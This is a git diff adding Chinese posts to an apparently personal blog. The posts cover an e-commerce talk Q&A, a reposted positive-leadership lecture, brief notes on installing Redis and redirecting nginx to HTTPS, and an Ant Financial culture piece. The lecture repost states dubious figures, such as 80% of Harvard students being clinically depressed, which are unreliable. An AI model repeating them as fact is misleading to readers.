+第二个观点，我觉得在做品牌的实际过程当中，要注意一下你的企业发展阶段，所谓的大规模烧钱要看你的用户规模，比如说你在追求过亿用户的时候，投广告确实是有效的，但是单人成本低，你开始的时候，用户可能很早期的时候，我们第一天就靠我们哥俩发一个朋友圈，100单就已经忙死了。 + +因此，根据你的规模找到你传播的合适匹配度，不同的规模下用不同的武器可能效率是不同的，杀一万人用炸弹是好使的，杀一个人用原子弹砸都砸不到他。你要你的企业发展阶段，什么时候去找到那个品牌的状态。 + +第三个观点，当你要大规模投放营销的时候，不见得是广告，最好打出6个月以上的提前期，找到品牌总监和操盘手，因为他需要足够的时间和你去体验谈恋爱、融入，最后找到品牌混的东西，那个内容很重要，你再去发力对外做。 + +现场提问3:第一个问题：我们看到现在整个生鲜电商都会用很多泡沫箱、冰袋和纸箱，对于整个社会效益来讲，我觉得它是对环境的一种污染，而且国家现在也倡导这种绿色发展经济，这也是以后的大趋势。在每日优鲜这一块，我们是怎么考量和应对的？ + +第二个问题：在整个对我们的物流成本上升的情况下，我们看到我们所有的生鲜电商，或者是平台电商这一块，对所有供应商的商品毛利率现在的要求非常高，整体就会倒逼供应商去降低生产成本，然后也可能会降低品质，在倒逼销售端，我们的零售端可能就会提高价格。整体这样的话，我觉得对用户的价值，未来是不是降低？我们也可以看到，现在很多的电商价格，已经高于在社区的便利店、菜店、夫妻店，以及菜市场的价格了，整个这一块我们的考量是怎么样的，怎么去应对、改造？ + +徐正：一个是关于物流的过程，我觉得这就是每日优鲜特别有竞争力的特点，我们一直把货送到社区，所用的物流的装卸都是可循环利用的，因为我是B2B，铺到了社区自己的仓，所以我们最后到用户家里只有一段距离，不到3公里的物流。 + +用户从超市买的东西需要什么包装回去，我们就可以用什么包装给他弄，所以我们确确实实是最经济、环保的，我们没有那么多纸箱。我们跟快递模式、中心仓配送是不一样的。对于你说的第二问题，我觉得还好，其实我们发现很多农产品地头的价格到超市的价格差2、3倍，最核心的是找错供应商了，如果是我的话，我直接把那个供应商换了，我要找这个品类的生产者，他是生产者的时候，我们两个一对接，中间省了七八道、五六道，什么利润空间都出来了，我们现在其实完全没有这种压力。 + +所以，你会看到每日优鲜的东西都比线下的便宜，同时我们的利润率还可以，我不要找那个贸易商，在中间没用的，不增值，我要找的是生产者和零售商，如果中间的那个贸易商是不可或缺的，就是刚才讲的有类似于通用磨坊指定的供应商帮我备一个货，挣2%两个点，做每个月周转，那个可能是有价值的。我们认为我们是要找生产者，这是我们看到的，否则没有意义，而这个时候你就会比别的价值链条有太多效率了，你倒了7、8手再到用户手里，和我这里一个生产者，我就是一个卖的，直接到用户，其实用户开心，我也开心，他也开心，说白了就是一碗饭大家吃不饱，那就少几个人，大家都饱了。这是我们做的事情，去中间化。 diff --git a/_posts/2018-04-12-274-tal.md b/_posts/2018-04-12-274-tal.md new file mode 100644 index 0000000..8d6698e --- /dev/null +++ b/_posts/2018-04-12-274-tal.md @@ -0,0 +1,264 @@ +--- +layout: post +title: 【领导力模块】 第1节 如何找到你的最佳领导区 +pid: 274 +tags: [mba] +--- + +> 引言 + +一个管理者需要通过什么样的方式和方法，去激活团队能量从而完成目标；一个人如何让合作者接受并配合完成自己提议的方案，这体现了领导力的本质。 + +那么，我们如何能获得这种能力去提升自己职场的影响力，带领团队取得卓越的业绩？ + +近年来，西方管理科学领域流行的“正向领导力”理论（即“积极领导力”），基于积极心理学和行为组织学方法论，从一个全新的视角阐释了一种更高效的管理方式。 + +正向领导力在管理中更关注“自我实现的人”，重视员工“心理资本”的积累，强调激发员工的优势和潜能，充分调动员工积极性和创造性，创造可持续发展的宽松环境，帮助团队成员有效应对压力，鼓励员工追寻工作的意义和价值，从而提高员工幸福感，留住人才，实现企业长久发展。 + +工商管理教育的目的之一就是培养管理者出色的领导力。所以商学院课程的第一模块，我们请来了哈佛大学最受欢迎的导师——泰勒·本-沙哈尔博士， 他开设的“领袖心理学”和“积极心理学”被哈佛学生推选为“最受欢迎的课程”。 + +沙哈尔博士将从探究人生意义的本源——如何获得持久的幸福出发，为大家系统地讲授其在领袖心理学中最为核心和精华的正向领导理论，帮助大家按照科学的方法提升自己的正向领导力。 + +本节课为领导力模块的第一节课，沙哈尔博士将与你分享幸福与成功以及领导力的关系及其独创的正向领导力Sharp模型，以及如何理解运用模型要素之一“优势”。 + +本节课的内容将分为四个部分： + +第一，成功和幸福的关系； + +第二，如何提升幸福感，增强领导力； + +第三，解析正向领导力Sharp模型； + +第四，如何运用正向领导力Sharp模型第一要素——优势。 + +> 幸福与成功的关系 + +1. 成功并不能带来幸福 + +我曾是哈佛大学计算机系学业成绩非常优秀的一名学生，成绩、体育、社交都很出色，但我却觉得非常不幸福，因为有两个问题困扰着我： + +a.为什么我不觉得幸福？ + +b.我如何能够变得更加幸福？ + +为了弄清楚这两个问题，我本科就转系去学了哲学和心理学，研究生去剑桥学教育，博士又回到哈佛商学院学习哲学和组织行为学，这不仅为了更好的帮助我自己，也是为了帮助他人、帮助组织，甚至帮助整个国家的人民来提高他们幸福的程度。 + +成功和幸福之间有什么关系？大多数的人认为只要成功了就会获得幸福。 + +很多家长也会跟孩子说，现在你可能不幸福、不快乐，别担心，等你考上了北大或者哈佛之类的名校，那个时候你就会觉得感到特别幸福了。 + +他们自己也是这样认为：当我在工作中得到提拔，当我有了钱，当我成功了，那个时候我就会很幸福。但事实上，成功并不会导致幸福。 + +我来给大家讲两个案例： + +哈佛心理学系做过一个调查研究：大学教授的学术竞争压力非常大，绝大部分的教授认为“获得终生任期”教职代表了职业生涯的成功。 + +所以研究者采访跟踪了一组获得终身任期的教授和一组未获得终生任期的教授，结果表明，获得该职称的教授在授予这个头衔的短期内会感到十分幸福，认为这是梦想成真的时刻；未获得该职称的教授会感到很失落，而且失落很久。 + +但是经过一段时间以后，两组教授的心理状态和情绪指数又回到了各自之前时而幸福、时而悲伤的日常状态。由此可见，获得终身教授职称虽然获得了被大家公认职业生涯的成功，实现了人生的梦想，但是成功未能带来持续长久的幸福感。也就是说，成功并不等于幸福。 + +我也做过类似的实验，我曾调研过我的哈佛学生，在他们入学一年后问了3个问题： + +第一，在接到哈佛录取通知书的那一天是否开心幸福，1000多位同学回答“是的”； + +第二，接到通知书的那一天是否觉得之后的人生会一直开心幸福，1000 多位同学依然回答“是的”； + +第三，一年后的今天，问及是否依然感觉开心幸福，绝大多数的答案是否定的。 + +大约有80%的哈佛的学生都会抑郁，这种抑郁不是日常情绪的波动，而是真正意义上的无法正常上学、正常生活。大家都觉得考入哈佛，这一生都会很幸福，成功就是幸福的秘诀，但事实并不是如此。 + +所以，为什么你们会看到在世界上很多成功的人并不幸福？为什么有那么多歌坛巨星、演员，他们赚了很多的钱，也有很多人去崇拜他们，但是还会有人去吸毒、酗酒，他们什么都有了，却仍旧不幸福。 + +因为他们一生当中，别人都告诉他们，只要你赚了钱、成了名就会幸福。于是，他们趋之若鹜地追求成功。在他们刚刚成功的时候，他们觉得这简直是世界上最美妙的感觉。他们腰缠万贯、挥金如土，他们可以轻而易举地买到他们喜欢的任何东西。 + +但是，过了一段时间，他们就会觉得自己不如以前幸福，幸福好像是一种假象，而这种假象是无法持续的； + +在假象破灭之后，他们非常难过，因为他们感到自己的幻想——“以为获得物质财富、社会地位上的满足可以带来的永久幸福”破灭了，继而陷入了“现在怎么办”的迷茫中，他们发现所有努力和牺牲换来的成功到达了别人认为的人生巅峰，然而却不能带来持久的幸福。 + +那么，这个时候，人生的目标在哪？没有目标的生活会令人更加痛苦，他们彻底失去了对幸福的指望——认为世界上再也没有任何东西可以给自己带来快乐，于是他们就去寻找另外一些毁灭性的办法，如吸毒、酗酒来消除痛苦。 + +所以物质财富、社会地位本身并不能给生命带来真正的意义和幸福。在人的一生当中，我们的生活并不总是闲庭信步，总会有一些急流险滩需要我们去克服，生活原本如此。诺贝尔经济学得主丹尼尔·卡尼曼做过一项有关幸福的研究显示，财富上的成功与幸福之间的关系不同于我们通常的认知，幸福与财富之间的关联性非常低、两者之间几乎没有必然的联系，世俗公认的成功并不能带来幸福。 + +2. 幸福可以带来成功 + +虽然大多数人会认为，“成功是因，幸福是果”，但我们的研究结果却是：“幸福是因，成功是果”。 + +积极心理学认为：幸福能使人产生身心愉悦，给人带来积极的正面情绪，心情舒畅有助于提高工作积极性和创造力，进而有助于领导者充分发挥他的正向领导力，从而更容易帮助组织获得成功。 + +正面情绪有4个积极的作用可帮助人们更容易获得成功： + +> 作用1：激发创造力 + +在 21 世纪，创造力与创新性对于领导力至关重要。在科学技术日新月异的今天，领导必须具备创造力与创新性，才能使企业顺应时代发展、在竞争中立于不败之地。如何能最大程度的激发创造力，正面情绪拥有巨大的魔力。 + +比如一个10岁的小孩，你给他吃糖，他就会很开心、正面情绪得以激发。之后，他在跟朋友玩耍的时候可能就会更有创造力，更能获得成功的体验。 + +很多人认为，抑郁、沮丧、伤心才能激发创造力，因为历史上的很多名人如丘吉尔、梵高、贝多芬他们都曾得过抑郁症，但也都很有创造力。其实这个论述是错误的，这些名人患的是躁郁症而不是抑郁症。躁郁症患者，情绪通常会异常高涨或异常低落，而这些名人最有创造力的时候，其实是在情绪最高涨的时候。 + +例如，贝多芬在创作《命运交响曲》时，他的耳聋已完全失去治愈的希望、恋人也与他分手，这一连串的精神打击几乎使贝多芬情绪不能自已，时而癫狂、时而压抑。 + +但是，贝多芬并没有因此而选择死亡，他本着对音乐狂热的爱、对命运的反抗，情绪高涨地创作出震惊世人的《命运交响曲》。正如他在一封信里写道：“假使我什么都没有创作就离开了这个世界，这是不可想象的。” + +由此可见，正面情绪有助于激发创造力，使人获得成功。如果你能尽可能地保持积极乐观、情绪高涨的正面情绪，就会帮助你拓宽思维，提升创造力和创新力。 + +> 作用 2：提高工作效率 + +在今天这个挑战重重、要求很高、压力很大的职场环境中，最成功的人通常是那些能够长时间保持精力充沛、具有工作积极性的人。 + +当正面情绪提高之后，你会发现自己提高了工作的参与度和积极性，工作效率与工作产出也继而提高。 + +另外，良好的情绪能够带来良好的团队氛围，使团队成员之间能够保持较好的人际关系和团队协作，大家能够齐心协力、高效地完成工作。 + +耶鲁大学博士金·卡梅隆做过一项历时两年的研究，调研了40个金融服务组织和30个医疗卫生组织绩效的改善情况，通过给员工提供更多晋升机会、播放充满正能量的音乐和视频、减少员工工作冲突、营造团队积极良好氛围等措施，得出贯彻正向领导力、帮助员工保持正面情绪的医疗卫生组织绩效比未推行正向领导力的金融服务组织高出10%。 + +由此可见，正面情绪有助于提高工作参与度与积极性，继而提高工作效率，最终促进工作业绩提升。 + +> 作用 3：降低员工流失率 + +任何一个正常运转的组织都不希望人员流失，因为公司人力要重新筛选、招募、培训新的员工，招聘新员工的成本要远远大于维护老员工的成本。 + +心理学认为情绪是具有感染性的，在组织中，员工的幸福感与直接领导高度相关。如果领导者的幸福感很强，会把这种积极的情绪感染到员工，继而提高员工幸福感，使其对自己的工作境况感到满意，由此降低人员的流失率。 + +所以，关注和提升员工的幸福感、努力维持团队成员的正面情绪，对于组织来说是很好的投资。 + +> 作用 4：促进身体健康 + +通常来说，对寿命有利的一个预测指标就是“乐观”。当人们体验积极的良性氛围，而不是消极的氛围，会增加中枢神经系统的高效运作，提高大脑皮质密度，增加身体连贯性。 + +拿破仑·希尔所著《积极心态的力量》提到，一个人的正面情绪有助于延长寿命，使你精神充沛、倍感幸福，从而在各个方面取得成功，获得心灵的平静。 + +他反对像“我今天不会生病”之类的说法，认为这是消极的态度。应该改说：“我今天觉得比昨天好。”这种正面的态度是基于生物学、化学、医学等科学知识为基础。也就是说，正念的力量有助于改善你的健康。 + +由此可见，如果你以一种乐观的心态去拥抱这个世界、去处理生活中的种种烦心事，你就会更加开心，你免疫系统的能力也会随之提高。这样，你就能更有效地对抗疾病，减少工作缺勤，提高工作效率。 + +我们知道人生虽然有起落，但如果我们保持积极向上的良好情绪，提升整体的幸福感，可以让你会更加健康、也会更有创造力，也会帮助自己和他人保持融洽的关系，你会成为一个更好的领导，你的团队、组织效率也更高，更加有协作精神。所以，幸福并不是成功的结果，恰恰相反，是幸福能够带来更大的成功。 + +> 如何提升幸福感，增强领导力 + +> 1. 研究最优秀的领导者，并向他们学习 + +20 世纪最伟大的心理学家之一亚拉伯罕·马斯洛（“需求层次理论”的提出者）曾提出过一个观点：当我们做研究的时候，我们需要研究最好的研究对象，向最好的研究对象学习并总结方法。 + +传统的统计学的研究是从某一个群体中选择一部分样本取一个平均值，然后得出对这个群体的一个结论，而马斯洛认为我们不只是需要研究一些处于均值的普通人，我们更需要研究那些最好的人，从他们那里学到的东西变成一个方法再教给其他人。 + +比如，你想学习冥想并用于教学，你应该去找最优秀的冥想大师去学习，然后将你所学到的再教给其他人。所以当我们研究领导力的时候，我们应该去研究那些最优秀的领导者，向他们学习。 + +在过去 5 年里，我研究了那些在世界500强公司任职的高管、优秀企业的创始人，研究他们在公司、社区、家里的种种行为。通过研究这些最优秀的领导者，而不是一般的领导者，提出了一个模型，通过这个模型总结出了一套方法，帮助大家都能够成为更好的领导者。 + +我们从这些最优秀的领导者身上都学到了些什么，以及他们从精神、心理学意义与一般人有什么不同，这个模型是什么？接下来会给大家详细阐述。 + +> 2. 正向领导力Sharp模型 + +领导力模型包括了优势（Strength）、健康（Health）、专注（Absorption）、关系 （Relationship）、目的或者意义（Purpose）五个要素，每个要素的首字母构成了 Sharp（顶尖）这个单词，于是正向领导力模型也称之为Sharp模型。 + +（1）优势 + +如何最大程度的挖掘自己优势，最大化发挥特长，提高自信，提高工作绩效。从个人的角度，找到自己擅长的、感兴趣的专业领域，能够提高工作积极性，享受工作，继而提高工作产出，并从中获得更多的幸福感。从组织的角度，挖掘员工的优势和兴趣的结合点，有助于帮助管理者人尽其才，增强员工对工作的投入程度，提高工作效率。 + +（2）健康 + +拥有正向领导力的基础是要保持身心健康，对于个人要学会在竞争日益激烈的环境中处理压力，通过接纳压力、适度锻炼休息的方式以达到精力充沛的状态。从组织角度，要构建健康、积极的企业文化氛围，帮助员工缓解压力、消除负面情绪，提高员工满意度、增强企业凝聚力、促进企业可持续发展。 + +（3）专注 + +更有参与度、更能够投入所做的事情。对于个人应该科学的运用保持专注力的方法，从细微处发现生活和工作的美好，更加热情的投入工作，增强创造力。从组织角度，应给予员工更广阔的施展空间，努力将工作职责和需求与雇员的技能和性情进行很好的匹配，变被动工作为主动工作，创造宽松愉悦的工作氛围，激发员工潜能，使其更专注高效的投入工作。 + +（4）关系 + +即如何处理与家人和同事的关系。通过研究最优秀的团队基本特性、团队成员相处方式、团队价值取向，帮助个人与同事构建和谐健康的关系，增加工作幸福感、降低工作压力。从组织角度，有助于构建和谐、健康的团队关系，提高员工工作责任心，促进组织高效配置员工、形成良性竞争体系，提高团队凝聚力，有利于企业的稳定长久发展。 + +（5）目的或意义 + +通过探寻优秀领导者追寻的人生意义与普通人的不同，帮助个人提高生活幸福度、找到工作动机，有效平衡工作和生活，提高工作积极性。从组织角度，要帮助员工找到工作的价值和意义，激发工作热情，提高工作效率；构建符合公司目标的组织文化，增加团队斗志、增强员工工作使命感。 + +> 如何运用sharp模型第一要素：优势 + +> 1. 选择专注优势，才能找到你的最佳领导区 + +著名的战略咨询公司盖勒普（Gallup）曾做过一项关于如何利用个人优势来培养领导力方面的研究。这项研究的调研人数高达 110 多万人，调研对象遍布63个国家，来自100多家公司。 + +盖勒普将这些职场人分为两类：一类是普通工作者；一类是优秀的领导者， 针对这两类人群分别做了三个问题的调研： + +（1）您是如何提升自我的，是选择优势还是弥补劣势？ + +（2）您的优势是什么，您最擅长做什么？（例如，您是善于战略规划，写报告，还是做Excel表格） + +（3）您做什么事情最有激情？（例如，您是热衷于演讲，打篮球，社交等） + +调研结果显示，当一个人所从事的工作处于优势与激情重合区域，他往往会达到最佳状态，即达到个人的最佳领导区。也就是说，既能充分发挥优势，又能有激情做自己喜欢之事的人，往往在生活上更加幸福；在事业上，也更加成功、更具有领导力。 + +那些杰出的领导者，他们选择了发挥自己的优势而不是弥补短板，使他们在工作中专注自己的优势、充满激情地做自己擅长的事，所以获得更大的成功。 + +相反，大多数普通人却错误地认为，通过个人努力去弥补自己的劣势更为重要，能获得更大的回报，但是事实并非如此，因为选择了消耗大量的精力弥补劣势，使得他们没有机会去了解如何利用自己的优势，并将之最大化发挥，终究无法取得巨大的成就。 + +在这里，我要强调一点，对大多数人来说，你不可能一整天都在做自己最擅长的事，你每天哪怕只有半个小时做自己最擅长的事情，也能产生积极影响。 + +我有一位同事教授12岁小朋友如何关注自己的优势课程。他告诉那些小朋友每个人都有优点，我们要多关注自己的长处。一个 12 岁的男孩由于自己成绩较差、体育也不擅长而认为自己没有长处，老师引导他挖掘出自己喜欢杂耍的爱好，并让男孩在全班面前表演并教授杂耍技能，促进了他与同学的友好相处，学习成绩也继而提高了。 + +从这个例子我们可以看出，当我们专注于发挥自身优势的时候，我们就有可能提高我们各个方面的水平和能力，才能到达我们的最佳领导区。 + +> 2. 发挥优势，有利于提升个人自信 + +彼得·德鲁克（Peter F.Drucker）是现代管理学之父，领导力管理学奠基人之一，他曾说：“唯有依靠优势，才能实现真正的卓越，人不能依靠弱点做出成绩，从无能提升到平庸所要付出的精力，远远超过从一流提升到卓越所要付出的精力。”也就是说，当你利用大多数时间去发挥优势，你就能做出成绩。 + +但是，通常人们却认为弥补劣势有助于成功。例如，一个10岁的女孩，她特别有语言天赋，但数学不太好。大多数学校老师会让她特别努力地去学数学，因为她语言水平已经很高，所以着重弥补劣势去提高综合水平。 + +但是，对于一个 10 岁的小女孩来说，如果老师每天都教导她去做她不擅长的事情，去努力学习数学，这就会打击到她的自信心、自尊心。久而久之，她的语言能力也会降低。反之，如果学校老师教导她关注她的优势，即她语言的能力，比如口语、写作能力等，这就会提升她的自信心、自尊心。久而久之，她的数学能力也会提高。 + +下面我给大家分享一个我自身的经历。刚上大学的时候，因为我的写作水平较差，在大一的时候被分配去上初级写作课，大二进阶到高级写作课。初级和高级课的老师均认为我的论文存在同样的问题，即论文条理性、逻辑性较差，缺乏整体的谋篇布局。 + +但是高级课的老师，麦克西恩·罗德伯格女士却从我存在的问题中看到了我潜在的优势和激情——知识面广阔，涵盖商学、心理学、社会学等。 + +于是，她要求我去写不同内容的论文，然后再把所有内容整合在一起，这样就使文章更有条理性，弥补了我行文天马行空的弱势，使我信心大增。当时我们的论文长度标准为 10 页，而由于罗德伯格老师的鼓励，我竟然写了15页。从此以后，我笔耕不辍、乐此不疲。 + +在2个月之后，我会推出我的第七本书，同时还有三本书正在撰写中。这就是我擅长做的，也是我充满激情的事业，这一切的源头是因为有这样一个老师，她能够看到我的一个潜在的优势，并引导我将优势最大化发挥，推动我的写作事业蒸蒸日上。 + +所以，当你关注劣势的时候，不仅会对你的自信心产生负面影响，甚至会对你的优势也产生负面影响。反之，如果你专注于最大化发挥自己的优势，那么，你的自信心将会提高，也将会提高你生活的方方面面。 + +> 3. 善用优势，有助于组织绩效翻倍 + +一位老师发现我的优势，就改变了我的人生。同样，发挥优势对于提高自身领导力水平意义非凡，如果领导者能发挥自身优势来经营公司，他的公司就会更加成功。要做到这点，领导者需要问自己、问周围的同事两个问题： + +第一，你的优势是什么？你擅长做什么？ + +第二，你的优势源自于哪里？你做什么事情最有激情？ + +然后将这两个问题的答案列一个单子，去找出两者共同点，即重叠区，这些共同点就是个人优秀领导区。一旦领导者找到优秀领导区，他就会变得更加成功、更加幸福。我们在课程开始时提到过，成功和幸福是密切相关的。即便是10岁的孩子找到这个重叠区，他也会变得更加成功、更加幸福。 + +在组织里面工作的人，找到个人优秀领导区有助于提高工作绩效，继而提高整个部门的经营业绩。也就是说，当领导者更加专注于你的优势的时候——你能够花更多的时间，去做你优秀领导区域内的事情，你就能将方方面面做得更好、产出更多、更有创造力，从而增加个人工作满意度，并带动团队整体工作效率和协作性的提高。 + +最终，在你所从事的事业中，你就会有更大的激情、更大的投入度和参与度。盖勒普的研究表明，如果管理者能够每天都去做他们最擅长的事情，那么他们业务部门的效率就有可能提高38%。 + +与此同时，对于管理者来说，善用员工优势也有助于组织绩效翻倍。企业管理的好坏体现在员工的活力释放程度的高低，管理者应该采取科学的策略，主动发现员工的优势和潜力，并提供与其相匹配的岗位，让其充分发挥自己的专长，全力投入工作，为企业创造更大的效益。 + +总之，最成功的领导者，都会充分地发挥自身优势和利用自身激情，从而使他们的工作效率高出常人 6倍。但是很遗憾，91%的管理者，他们并没有充分利用他们的优势和激情，这就意味着他们并没有充分地激活可以使他们事业更成功、生活更幸福的潜能。只有9%的最优秀领导者充分发挥了自身优势，有助于他们事业扶摇直上。 + +那么，如果我们普通人也能关注自身优势、利用自身的激情，我们就能遇见更幸福、更自信、更高效、更具创造性的自己，从而达到人生巅峰。 + +问答 + +问题：教授您好，请问是不是所有人都能当领导者？或者领导者是不是天生的？因为好像领导者都是能进行公开演讲，很有魅力，很外向的人。那么，如果我是一个内向的人，我是不是应该放弃成为领导者，或者我就成为不了领导者？ + +泰勒：谢谢，这是一个很重要的问题。在这个领域，很多研究者都问过这个问题——“领导者到底是天生的还是后天养成的？”。我的答案是两者皆有。不是基因造就了领导者，而是领导者自己造就了自己。很多心理学家、领导力领域的专家都认为：有些人天生具备当领导的潜力，而那些天生没有这些特性的人，就不太可能成为领导。 + +但是越来越多的理论家、实践家却发现，没有哪些天生的特性是和领导力相关的，你甚至可以说世界上有超过70亿种当领导的方法。例如打篮球，如果你天生很高、很强壮，有运动细胞，那确实不错。但是接下来，你仍然需要努力加强投篮、传球等方面的训练，才有可能成为优秀的选手。也就是说，你既需要天生的基因，也需要后天的努力。 + +领导力也是相通的，但并不完全类似。没有人天生就是领导，有不同的方式可以帮助一个人成为领导。也许你认为只有那些很有魅力、善于雄辩、演讲能力很高、智商超群的人才能成为领导。其实不然，你会发现有很多伟大的、高效的领导，他们可能并不是很有魅力，也不是人群、班级、或者公司里最聪明的人。但是，他们能认识到两点： + +第一，他们都知道自己擅长做什么，都知道关注自己的优势。如果他们擅长倾听，就专注于自己的优势。通过不断地练习，变成非常擅长倾听的人。 + +第二，他们能识别出一些情景，能让他们充分发挥自己的优势。例如，如果我不具备力量、身高、投篮能力，那我就不适合当篮球运动员。而如果我去了一个重视学习及教书能力的大学，那么我就能发挥我的所长，在大学里能成为一个领导者。 + +所以，我们要做的就是首先发现自己擅长做什么事情，然后找到一个能充分发挥你专长的环境，这才决定了你能不能成为优秀的领导。而如果说你不注重自己的优势，不管你多少有才能，你都不太可能成为很优秀的领导者。 + +很多人认为对领导来说，最重要的是要有魅力，要能够站在众人面前发表激动人心的演说，比如像丘吉尔、克林顿、撒切尔夫人那样，才能成为伟大的领导。其实在商界，魅力和成功并没有很强的联系。 + +有些人太高估魅力的作用了，对于伟大的领导来说，更重要的品质是专注优势、专注你最擅长的事情。最有作为的领导不见得是最有魅力的，但却是最成功的。他们能把事情做成、能把工作做好，员工也非常敬仰他们。因为他们是很真实的领导，他们能够在工作环境中创造这种真实感，他们以身作则，而且他们为人非常谦虚。 + +所以，如果我们要成为更好的自己、更好的领导者，我们就需要在生活或工作中重视自己的优势。 + +例如，如果我想成为更称职的家长，我就需要在家中发挥我最擅长的事情。 + +如果我擅长学习，我就应该花更多时间和孩子一起学习；如果我擅长倾听，我就应该花更多时间倾听孩子的心里话。这样，你才能最大化发挥自己的潜力，才能获取最大的成功。 + +[引用](https://tools.hundun.cn/h5Bin/h5_article_share/article_share.html?id=50d786ad29b40de580f10b9f849c0f94) diff --git a/_posts/2018-05-11-275-mount.md b/_posts/2018-05-11-275-mount.md new file mode 100644 index 0000000..79889de --- /dev/null +++ b/_posts/2018-05-11-275-mount.md @@ -0,0 +1,14 @@ +--- +layout: post +title: Centos 挂载硬盘 +pid: 275 +tags: [linux] +--- + + + +# 参考 + +[Linux 下挂载新硬盘方法](https://blog.csdn.net/zqixiao_09/article/details/51417432) + +[Linux 格式化和挂载数据盘](https://help.aliyun.com/document_detail/25426.html?spm=a2c4g.11186623.2.11.wHTo66) diff --git a/_posts/2018-05-14-276-redis.md b/_posts/2018-05-14-276-redis.md new file mode 100644 index 0000000..8ddb306 --- /dev/null +++ b/_posts/2018-05-14-276-redis.md @@ -0,0 +1,73 @@ +--- +layout: post +title: Centos 安装 Redis +pid: 276 +tags: [centos] +--- + +# 下载压缩包 + + [root@iZuf6gk461dc7xwwmsrakfZ ~]# cd /usr/local/ + [root@iZuf6gk461dc7xwwmsrakfZ local]# wget http://download.redis.io/releases/redis-4.0.6.tar.gz + + +# 解压压缩包 + + [root@iZuf6gk461dc7xwwmsrakfZ local]# tar -zxvf redis-4.0.6.tar.gz + + +# yum安装gcc依赖 + + [root@iZuf6gk461dc7xwwmsrakfZ local]# yum install gcc + +# 编译安装 + + [root@iZuf6gk461dc7xwwmsrakfZ local]# cd redis-4.0.6 + [root@iZuf6gk461dc7xwwmsrakfZ redis-4.0.6]# make MALLOC=libc + [root@iZuf6gk461dc7xwwmsrakfZ redis-4.0.6]# cd src && make install + + + +# 测试是否安装成功 + + [root@iZuf6gk461dc7xwwmsrakfZ redis-4.0.6]# cd src/ + [root@iZuf6gk461dc7xwwmsrakfZ src]# ./redis-server + + +# 以后台进程方式启动redis + + [root@iZuf6gk461dc7xwwmsrakfZ src]# vim ../redis.conf + + From 'daemonize no' to 'daemonize yes' + + [root@iZuf6gk461dc7xwwmsrakfZ src]# ./redis-server /usr/local/redis-4.0.6/redis.conf + +# 关闭redis + + [root@iZuf6gk461dc7xwwmsrakfZ src]# ps -aux | grep redis + [root@iZuf6gk461dc7xwwmsrakfZ src]# kill -9 16850 + + +# 设置redis开机自启动 + + [root@iZuf6gk461dc7xwwmsrakfZ src]# mkdir /etc/redis + [root@iZuf6gk461dc7xwwmsrakfZ src]# cp /usr/local/redis-4.0.6/redis.conf /etc/redis/6379.conf + [root@iZuf6gk461dc7xwwmsrakfZ src]# cp /usr/local/redis-4.0.6/utils/redis_init_script /etc/init.d/redisd + [root@iZuf6gk461dc7xwwmsrakfZ src]# vim /etc/init.d/redisd + + #!/bin/sh + # chkconfig: 2345 90 10 + # description: Redis is a persistent key-value database + + + [root@iZuf6gk461dc7xwwmsrakfZ src]# chkconfig redisd on + [root@iZuf6gk461dc7xwwmsrakfZ src]# service redisd start + [root@iZuf6gk461dc7xwwmsrakfZ src]# service redisd stop + + + +# 参考 + +[Centos7下安装redis](https://www.cnblogs.com/zuidongfeng/p/8032505.html) + +[redis 安装cannot find 'ld'](http://blog.51cto.com/sngyqd/1875319) diff --git a/_posts/2018-06-27-277-80to443.md b/_posts/2018-06-27-277-80to443.md new file mode 100644 index 0000000..d78afd1 --- /dev/null +++ b/_posts/2018-06-27-277-80to443.md @@ -0,0 +1,12 @@ +--- +layout: post +title: 从80端口自动跳转到443端口 +pid: 277 +tags: [centos, nginx, https] +--- + + server { + listen 80; + server_name www.baoguoding.com; + rewrite ^(.*)$ https://${server_name}$1 permanent; + } diff --git a/_posts/2018-06-27-278-auto-start.md b/_posts/2018-06-27-278-auto-start.md new file mode 100644 index 0000000..ccdeafe --- /dev/null +++ b/_posts/2018-06-27-278-auto-start.md @@ -0,0 +1,8 @@ +--- +layout: post +title: nginx开机启动 +pid: 278 +tags: [nginx] +--- + +[Linux(CentOS)下设置nginx开机自动启动和chkconfig管理](https://blog.csdn.net/u013870094/article/details/52463026) diff --git a/_posts/2018-07-12-279-hr-mayi.md b/_posts/2018-07-12-279-hr-mayi.md new file mode 100644 index 0000000..975be06 --- /dev/null +++ b/_posts/2018-07-12-279-hr-mayi.md @@ -0,0 +1,72 @@ +--- +layout: post +title: 蚂蚁要什么样味道的人？ +pid: 279 +tags: [岗前培训] +--- + +我们常常提到 *“聪明、乐观、皮实、自省”* ，这是内核，是我们对每个阿里蚂蚁人的期待。 + +我们也常常在讨论，而对于还没加入蚂蚁的候选人来说，不能用阿里的价值观和特质来要求，但是他一定具备一些基础的一致性， *我们把它总结为真实、开放、有追求。* + +什么是真实？ + +> 真实，就是不端不装不回避。 + +> 不端：不把自己架在上面，觉得自己了不起。 + +> 不装：不假装一个理想化的自己。 + +我们常常把管理者的状态做这样一个比喻，就是猴子群像，上往下看，都是笑脸。从下往上看，都是红屁股。 + +做管理最可怕的是： + +> 不知道真相。一个人能做到管理层，他通常是有能力也有解决方案，但前提是他得知道哪里有问题。 + +> 如果一个企业的文化是领导越上越被蒙蔽，不知道真相，那就很危险。 + +所以， *我们希望从Leader开始，就很真实，不端不装。* 这样的一群人一起工作，才能一起了解真正的世界发生了什么，才有可能回应它，并且做出更好地改变。 + +> 不回避：每个人都会遇到问题和困难，这个很正常，但是最怕的就是避而不谈。可能是不敢、害怕、又或者不知道如何面对。 + +就像我们在一个屋子里开会，屋子里有只大象，人人都知道，大家却避而不谈。 + +我们不希望明明有问题，明明这件事很重要，但是所有人就假装没事一样继续浪费时间。 + +人生太宝贵，一个认真负责的人，需要对自己的时间负责。我们没有必要浪费时间在根本不创造价值的事情上。 + +> 一个真实的人，一定是一个勇敢的人。 + +他能有勇气面对自己害怕的部分，并且穿越它。 + +什么叫开放？ + +一个人肯定要聪明，笨是很难医治的。但是只有聪明是否够了？ *什么是会让聪明的人走的更远？* + +在蚂蚁内部，我们招了很多聪明人，过去在行业和领域里都很优秀。但是一段时间后，有些人做得非常好，有些人就很痛苦。我们就一直在想： + +为什么这些人武功高强，智商和情商也很高，但是最终有些人在这里做的不够好？ + +> 后来发现，一个人底层的开放性决定了这个人能走多远。 + +比如一个行业专家，他在某个领域干了20年并拥有一定的地位和权威。他是否依旧愿意去听一些他从来没想过有可能会发生的问题。 + +愿意去了解以前觉得不太现实的事情，甚至愿意放弃了之前觉得成功的部分，放下原来心里觉得一定是对的事情？ + +在这个过程中，面向未来，再重新思考应该怎么做。这就是我们常说的“重塑”。 + 